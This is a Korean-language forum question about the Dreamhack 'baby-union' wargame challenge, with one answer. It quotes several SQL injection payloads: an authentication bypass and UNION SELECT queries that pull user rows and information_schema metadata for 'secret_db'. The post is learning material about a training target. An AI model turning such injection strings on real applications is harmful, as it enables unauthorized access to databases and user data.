union 사용 시, 응답없음

안녕하세요,
baby-union 문제에서 union사용에 대한 질문입니다.

하기 같은 sql을 uid에 입력하면 잘 동작하여,
admin' or '1'='1'#
admin'#

fetch한 결과가 (서버응답)
웹페이지로 출력되는 것을 확인할 수 있는데요.

하기와 같은 union (혹은 어떤 기본적인 variant ...)를 사용하면
admin' union select * from users where uid='guest'#
admin' union select * from users#
admin' union select 1, TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='secret_db' --

하기와 같은 응답만 나옵니다. (응답없음)
This page isn’t working
host3.dreamhack.games didn’t send any data.
ERR_EMPTY_RESPONSE

그냥 sql 일부러 틀리게 post해서 에러를 발생시켜보면
하기 같은 에러가 나오는것 같구요 (아마 서버 예외 발생..)
Internal Server Error
The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.

질문은 하기와 같습니다.
1> union 구문 사용 시, ERR_EMPTY_RESPONSE가 왜 발생할까요?
mysql 서버버전같은 것은 따져보지 않았으나,
타 sql웹교욱 사이트에서 거의같은 sql union문을 돌려도 잘 동작함은 확인하였습니다.

2> 드림핵 문제풀이에 나온 하기 솔루션 또한 같은 에러가 발생합니다. 솔루션이 과거에는 되었을 텐데 달라진 것이 무엇일지 추측이 안됩니다. 1>과 같은 이슈일까요?
admin' union select table_name,null,null,null from information_schema.tables where table_schema = 'secret_db'-- -

3> 2>의 솔루션 -- 뒤에 -을 추가로 붙인 것은 한칸 띔을 명시적으로 나타내려고 한 것인가요?

미리 감사드립니다.

#mysql #union #information_schema
작성자 정보
답변 1
avatar
hoppi_
대표 업적 없음

안녕하세요 ifndef님!

  1. 상기 에러를 보아서는 제 추측이지만 사내 네트워크 설정으로 인해서 발생하는 것 같습니다. 아래 코드를 한번 참고해 주세요!
async function sendRequest(url, method = 'GET', body = null, headers = {}) {
    try {
        let encodedBody = null;
        if (body) {
            const params = new URLSearchParams(body);
            encodedBody = params.toString();
        }

        const options = {
            method: method,
            headers: {
                'Content-Type': 'application/x-www-form-urlencoded',
                ...headers,
            },
            body: encodedBody ? encodedBody : null,
        };

        const response = await fetch(url, options);

        if (!response.ok) {
            throw new Error(`HTTP error! Status: ${response.status}`);
        }

        const data = await response.text();
        console.log('Response:', data);
        return data;
    } catch (error) {
        console.error('Fetch error:', error);
        return null;
    }
}
  1. 이것도 위와 같은 문제인 것 같습니다. 정상적으로 동작합니다!
  2. MariaDB에서는 -- 뒤에 공백이 들어가야 주석으로 인식하여 공백 뒤에 아무문자가 와도 상관없습니다.
2024.05.08. 09:54
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기